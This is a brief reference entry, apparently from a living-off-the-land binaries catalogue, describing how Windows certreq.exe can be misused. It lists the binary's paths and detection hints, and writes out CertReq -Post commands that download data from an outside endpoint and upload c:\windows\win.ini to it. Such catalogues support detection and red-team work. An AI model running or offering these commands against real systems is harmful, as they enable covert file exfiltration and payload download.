03 : /Privilege-escalation Windows#

~/ cat CertReq.exe.md

Used for requesting and managing certificates

Paths:

C:\Windows\System32\certreq.exe
C:\Windows\SysWOW64\certreq.exe

Detection: certreq creates new files certreq makes POST requests

Download

Save the response from a HTTP POST to the endpoint https://example.org/ as output.txt in the current directory

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Upload

Send the file c:\windows\win.ini to the endpoint https://example.org/ via HTTP POST

CertReq -Post -config https://example.org/ c:\windows\win.ini and show response in terminal